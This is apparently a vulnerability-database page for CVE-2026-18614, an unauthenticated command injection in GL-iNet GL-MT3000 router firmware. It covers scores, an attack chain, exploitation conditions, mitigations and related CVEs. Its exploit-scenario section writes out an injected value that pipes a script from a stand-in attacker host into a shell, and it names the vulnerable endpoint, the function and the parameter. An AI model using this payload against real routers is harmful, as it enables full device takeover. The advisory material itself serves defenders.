Skip to main content

GL-iNet GL-MT3000 EUVDEUVD-2026-52400

| CVE-2026-18614 HIGH
Command Injection (CWE-77)
2026-08-03 VulDB GHSA-r4vc-wqp8-j499
8.9
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify GL-MT3000 management interface on network
  2. Delivery
    Send HTTP request to /cgi-bin/glc with malicious port value
  3. Exploit
    s2s.enable_echo_server passes unsanitized input to shell
  4. Execution
    Injected OS command executes on router
  5. Impact
    Attain full router control as privileged user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The /cgi-bin/glc endpoint must be reachable by the attacker over the network - exploitation is highest risk when the GL-MT3000 management interface is exposed to the WAN (internet-facing remote management enabled), but LAN-local exploitation is equally viable since no authentication is required per CVSS PR:N. The s2s.so native plugin must be loaded, which is a component of the standard firmware for affected versions 4.4.0-4.4.5. No special configuration, authenticated session, or user interaction is needed. Exploitation is limited to GL-MT3000 devices on firmware 4.4.0-4.4.5; devices on earlier firmware or different GL-iNet models are not confirmed vulnerable. The primary factor limiting real-world blast radius is whether the management interface is exposed beyond the local network - most consumer router deployments restrict management to LAN-only by default, constraining remote exploitation to cases where remote management was explicitly enabled.

Impact

All available signals converge on a high-priority rating. The CVSS 4.0 base vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) indicates network-reachable, zero-prerequisite exploitation with full impact on the vulnerable system. The E:P supplemental modifier confirms that public exploit code exists, further validating practical risk. The vendor has acknowledged the vulnerability, adding confidence to the severity assessment. No CISA KEV listing is present in the provided data, meaning confirmed mass exploitation has not been officially recorded, but the published GitHub PoC significantly reduces attacker skill requirements. EPSS data was not provided - exploitation probability cannot be quantified numerically, but the combination of PR:N, AC:L, and a live PoC is a strong qualitative indicator of near-term abuse. No conflicting signals exist between the CVSS vector and the description; both are consistent with remote unauthenticated exploitation. Defenders should treat this as a high-urgency priority, particularly for any GL-MT3000 units with management interfaces exposed to the internet.

Exploit ScenarioDerived

An attacker who can reach the GL-MT3000 management interface - either from the LAN or from the internet if remote management is enabled - sends a crafted HTTP POST or GET request to /cgi-bin/glc with a port parameter value containing shell metacharacters such as '; curl http://attacker.com/shell.sh | sh ;'. The s2s.enable_echo_server function passes this value unsanitized to a system command, executing the injected payload with the privileges of the web server process, which on embedded routers typically runs as root. A public PoC on GitHub (https://github.com/StrTzz123/iot_vul/blob/main/GL-iNet/MT3000/4.4.5/s2s_enable_echo_server_glc_rce/CVE.md) documents the exact exploitation technique, making this accessible to low-skilled attackers.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC No patch listed yet 2.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 03, 2026

Unauthenticated remote command injection in GL-iNet GL-MT3000 firmware (versions 4.4.0 through 4.4.5) allows network-adjacent or remote attackers to execute arbitrary OS commands by sending a crafted request to the /cgi-bin/glc CGI endpoint with a manipulated port argument passed to the s2s.enable_echo_server function. The vendor has confirmed the vulnerability, the CVSS 4.0 base score is 8.9 with full high-impact ratings across confidentiality, integrity, and availability, and a public proof-of-concept exploit is available on GitHub, materially lowering the exploitation bar. No public CISA KEV listing exists at time of analysis, but the combination of unauthenticated network access and a published PoC makes active exploitation a near-term realistic risk.

Earlier versions of this analysis (1)
v1 Aug 03, 2026 - 19:00 CVSS 9.3

Command injection in the GL-iNet GL-MT3000 travel router (firmware up to 4.4.5) lets remote attackers execute arbitrary OS commands by manipulating the 'port' argument passed to the s2s.enable_echo_server function in the /cgi-bin/glc handler of the s2s.so native plugin. The flaw carries a CVSS 4.0 base score of 9.3 with full confidentiality, integrity, and availability impact, and publicly available exploit code exists. The vendor has confirmed the vulnerability, though it is not currently listed in CISA KEV.

RemediationAI

No vendor-released patched firmware version has been identified in the available references at time of analysis - the vendor confirmed the vulnerability's existence but a specific fixed release has not been independently verified. Users should monitor GL-iNet's official firmware download page and security advisories for an update addressing CVE-2026-18614. As immediate compensating controls: first, disable WAN-side access to the router's management interface entirely, ensuring /cgi-bin/glc is only reachable from trusted LAN segments - this eliminates the remote attack vector while preserving local administration. Second, if the s2s (server-to-server VPN tunneling) feature is not actively used, disable it through the router's administration panel to reduce the loaded attack surface of s2s.so. Third, place the router behind a firewall or upstream NAT that blocks inbound connections to management ports. Note that LAN-local exploitation remains possible even with WAN restrictions, so prompt firmware patching remains essential. See https://vuldb.com/vuln/385534 for ongoing advisory updates.

Affected VersionsENISA

GL-MT3000 4.4.0
GL-MT3000 4.4.2
GL-MT3000 4.4.4
GL-MT3000 4.4.5
GL-MT3000 4.4.1
GL-MT3000 4.4.3

Affected Packages

euvd gl_mt3000 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GL-iNet GL-MT3000 is a compact travel and VPN router running an OpenWrt-based firmware. The vulnerable code path involves /cgi-bin/glc, a CGI binary that dynamically loads s2s.so as a native plugin. The s2s.enable_echo_server function within that plugin accepts a port parameter from HTTP request input and passes it - without adequate sanitization or shell escaping - to an underlying system call or popen-style invocation, constituting CWE-77 (Improper Neutralization of Special Elements Used in a Command). Because shell metacharacters such as semicolons or pipes in the port value are not neutralized, an attacker can break out of the intended command context and execute arbitrary shell commands. The CPE cpe:2.3:a:gl-inet:gl-mt3000:*:*:*:*:*:*:*:* covers all identified affected versions (4.4.0-4.4.5) per ENISA EUVD-2026-52400. The CGI endpoint is exposed via the router's HTTP management interface, which may be reachable on WAN or LAN depending on device configuration.

Know when Gl Mt3000 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.9 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
vuln.today AI 9.8 CRITICAL

Network-accessible CGI endpoint requires no authentication; full command execution yields high C/I/A impact; scope unchanged as exploitation is confined to the router itself.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Aug 03, 2026 - 19:22 NVD
CRITICAL HIGH
CVSS changed
Aug 03, 2026 - 19:22 NVD
9.3 (CRITICAL) 8.9 (HIGH)
CVE Published
Aug 03, 2026 - 18:00 cve.org
CRITICAL 9.3

DescriptionCVE.org

A vulnerability was found in GL-iNet GL-MT3000 up to 4.4.5. Impacted is the function s2s.enable_echo_server of the file /cgi-bin/glc of the component s2s.so Native Plugin. Performing a manipulation of the argument port results in command injection. The attack may be initiated remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and confirmed the existence of the vulnerability.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

GL-iNet GL-MT3000 routers (firmware versions 4.4.0-4.4.5) are exposed to unauthenticated remote command execution that grants attackers complete control over affected devices without authentication or user interaction. With publicly available exploit code and no vendor patch, organizations running these devices face imminent risk of network compromise, data exfiltration, and unauthorized lateral movement into internal systems. Immediate device identification and isolation are critical to prevent security breaches.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) network segmentation restricting access to the /cgi-bin/glc endpoint via firewall ACLs to trusted administrative networks only; (2) removal or isolation of affected devices from production networks pending patch or replacement; (3) continuous monitoring of traffic to CGI endpoints for exploitation attempts; (4) evaluation and deployment of alternative router solutions from unaffected vendors or GL-iNet device models running patched firmware.

Threat Intelligence Overview

EPSS Score
2.0%
Top 21% exploitable
Prevalence
Medium
Popular GL-iNet travel/VPN router, significant prosumer and SMB deployment
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-18686 HIGH POC
8.9 Aug 04

Command injection in GL.iNet GL-MT3000 router firmware (all versions through 4.4.5) allows unauthenticated remote attack

CVE-2026-18601 HIGH POC
8.9 Aug 03

Remote command injection in GL.iNet GL-MT3000 router firmware (versions 4.4.0 through 4.4.5) allows unauthenticated netw

CVE-2026-18612 HIGH POC
8.9 Aug 03

Remote command injection in GL-iNet GL-MT3000 firmware through version 4.4.5 allows unauthenticated network attackers to

CVE-2026-18684 HIGH POC
8.9 Aug 03

Command injection in GL.iNet GL-MT3000 firmware up to version 4.4.5 exposes the device to full remote compromise through

CVE-2026-18685 HIGH POC
8.9 Aug 03

Command injection in GL.iNet GL-MT3000 firmware up to version 4.4.5 allows remote attackers to execute arbitrary OS comm

CVE-2026-18616 HIGH POC
8.9 Aug 03

Remote command injection in GL-iNet GL-MT3000 firmware (up to version 4.4.5) allows unauthenticated network attackers to

CVE-2026-18615 HIGH POC
8.9 Aug 03

Remote command injection in the GL-iNet GL-MT3000 travel router (firmware 4.4.0-4.4.5) allows unauthenticated network-ad

CVE-2026-18602 HIGH POC
8.9 Aug 03

Remote command injection in GL.iNet GL-MT3000 routers (firmware 4.4.0-4.4.5) allows unauthenticated network attackers to

CVE-2026-18613 HIGH POC
8.9 Aug 03

Injection vulnerability in GL-iNet GL-MT3000 (Beryl AX) firmware through version 4.4.5 exposes the plugins.set_config fu

CVE-2026-12186 HIGH POC
7.4 Jun 14

Authenticated command injection in the GL.iNet GL-MT3000 travel router (firmware up to 4.4.5) lets remote attackers with

CVE-2026-12187 HIGH POC
7.4 Jun 14

Command injection in the GL.iNet GL-MT3000 travel router's Online Firmware Upgrade Handler (/usr/bin/one_click_upgrade)

CVE-2026-18600 HIGH POC
7.4 Aug 03

Command injection in the GL.iNet GL-MT3000 router's Network Lua RPC Plugin allows authenticated remote attackers to exec

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy